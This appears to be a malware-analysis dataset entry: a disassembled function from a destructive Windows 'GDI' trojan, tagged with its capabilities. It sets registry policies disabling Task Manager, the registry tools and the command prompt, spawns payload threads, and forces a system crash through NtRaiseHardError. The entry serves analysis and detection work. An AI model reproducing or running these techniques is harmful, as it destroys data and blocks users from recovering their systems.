Function at 0x140003520
Capabilities:
Create thread
Disable system features via registry on windows
Set registry value
Terminate process
Terminate thread

Disassembly:
sub rsp, 0x78
mov r9d, 0x34
lea r8, str.WARNING____floccinaucinihilipilification_2.0.exe
lea rdx, str.You_are_about_to_run_a_GDI_malware_Which_can_damage_your_system_This_Malware_was_created_for_entertainment_and_Educational_purposes_Only._nIf_This_Trojan_is_running_on_a_real_manchine__Please_click_No_Otherwise_if_you_run_this_Trojan_on_a_virtual_machine_or_you_are_sure_that_no_data_is_at_risk_you_can_run_it_on_this_device._n_nPLEASE_NOTE_THAT_YOU_RUN_THE_MALWARE_AT_YOUR_OWN_RISK_AND_I_AM_NOT_RESPONSIBLE_FOR_ANY_DAMAGES_CAUSED_BY_THIS_MALWARE___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
jne 0x14000354e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r9d, 0x34
lea r8, str.LAST_WARNING___
lea rdx, str.ARE_YOU_SURE_TO_RUN_THIS_MALWARE_ON_THIS_DEVICE___nALL_YOUR_DATA_WILL_BE_DESTORYED_AND_YOU_WILL_NOT_BE_ABLE_TO_RETURN_TO_YOUR_LOVELY_SYSTEM_AGAIN_n_nCLICK_NO_IF_YOU_DONT_WANT_TO_DAMAGE_YOUR_LOVELY_PC_OR_CLICK_YES_TO_CONTINUE_TO_SEE_WHAT_I_CAN_DO________
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
jne 0x140003578
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x80], rbx
lea r8, [0x140002b40]
mov qword [rsp + 0x70], rdi
xor r9d, r9d
xor edi, edi
xor edx, edx
mov qword [rsp + 0x28], rdi
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001050]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, section..text
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400010c0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001960]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x40], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rdi
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], 4
lea r9d, [rdi + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableTaskMgr
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x40], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rdi
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 4]
xor r8d, r8d
mov rcx, qword [rsp + 0x68]
lea rdx, str.DisableRegistryTools
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x58], 2
mov qword [rsp + 0x40], rax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsSystem
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rdi
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], 4
lea r9d, [rdi + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableCMD
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001990]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400019c0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400019e0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140002bb0
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001be0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140002d00
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov dword [rsp + 0x20], edi
lea r8, [0x140001df0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140002e50
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002130]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140002fc0
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400023a0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001100]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400011c0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001280]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001450]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400014e0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001560]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140002fc0
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400026b0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140003110
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002980]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140003270
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400019e0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001be0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001df0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002130]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400023a0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
lea r8, [0x1400026b0]
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140002980]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1400033c0
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x50]
xor r8d, r8d
mov dl, 1
lea ecx, [rdi + 0x13]
call rax
lea rax, [rsp + 0x64]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000145
call rbx
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x80]
add rsp, 0x78
ret